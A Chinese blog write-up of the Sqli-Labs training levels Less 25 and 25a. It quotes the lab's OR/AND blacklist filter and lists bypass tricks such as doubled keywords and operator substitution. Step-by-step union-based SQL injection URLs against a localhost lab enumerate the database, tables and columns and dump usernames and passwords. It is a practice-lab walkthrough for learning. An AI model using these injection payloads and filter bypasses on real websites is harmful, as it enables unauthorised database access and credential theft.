美文网首页
Sqli-Labs:Less 25 - Less 25a

Sqli-Labs:Less 25 - Less 25a

作者: Hyafinthus | 来源:发表于2018-08-07 15:41 被阅读0次

Less 25

基于错误_GET_过滤OR/AND_单引号_字符型注入

界面很带感,huh?
刚进就有报错,下面那个未定义的 hint会在GETid后消失。

0x01. 判断注入类型

http://localhost:8088/sqlilabs/Less-25/?id=1'

可以看出是单引号闭合的查询,为了截图方便暂时把图片文件注释掉了。
下面还友情地把过滤后的内容显示出来了。

0x02. 过滤绕过

有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:

若是一次性的,且只是将过滤字符换成了空字符:

  • 双写——or=oorrand=anandd

若是非一次性的,就要考虑一些变形:

  • 大小写变形——or=Or=oR=OR
  • 利用运算符——or=||and=&&
  • URL编码——#=%23,Hex编码——~=0x7e
  • 添加注释——/*or*/

0x03. 注入过程

$id = blacklist($id);
$hint = $id;
function blacklist($id)
{
    $id = preg_replace('/or/i',"",$id);         //strip out OR (non case sensitive)
    $id = preg_replace('/and/i',"",$id);        //Strip out AND (non case sensitive)
    return $id;
}

本关卡是一次性绕过,所以双写或运算符绕过都可以做到。
这里的正则匹配//i同时匹配大小写,所以不能用大小写绕过。

步骤1:数据库名

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,user(),database()--+

步骤2:表名

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3--+

这里information中的or也被注释了哈哈哈。

步骤3:字段名

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3--+

步骤4:数据

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3--+

password中的or也未能幸免。

0x04. 吐槽

一般来说,过滤不会那么严格重复很多次,毕竟正常单词中也可能会含有被过滤的字符。

Less 25a

基于Bool_GET_过滤AND/OR_数字型_盲注*

0x01. 注入方式与回显对比(Review)

GET

Less 注入方法 正确回显 错误回显
1 基于错误注入 查询到的用户名和密码 Mysql错误信息
5 双注入 固定字符串 Mysql错误信息
7 导出文件注入 固定字符串 另一固定字符串
8 Bool型盲注 固定字符串
9 Time型盲注 固定字符串 同一固定字符串

POST

Less 注入方法 成功回显 失败回显 错误回显
11 基于错误注入 用户名和密码 (flag.jpg) 无 (slap.jpg) Mysql错误信息 (slap.jpg)
13 双注入 无 (flag.jpg) 无 (slap.jpg) Mysql错误信息 (slap.jpg)
15 Bool/Time型盲注 无 (flag.jpg) 无 (slap.jpg) 无 (slap.jpg)

注意:GET和POST差别在于,GET只需要提交参数id,而POST则需要usernamepassword都正确。

其实这关严格来说算不上盲注,只是无错误回显,正确回显还是能显示的。

而之前如 Less 1 等GET关无Warning是因为用了函数error_reporting(0),关闭了错误报告。

所以这关既可以正常union注入也可以用脚本BoolTime盲注。

0x02. 注入过程

1正常回显,1'1"都报错,判断为数字型注入,其他注入过程同 Less 25。

相关文章

网友评论

      本文标题:Sqli-Labs:Less 25 - Less 25a

      本文链接:https://www.haomeiwen.com/subject/yupovftx.html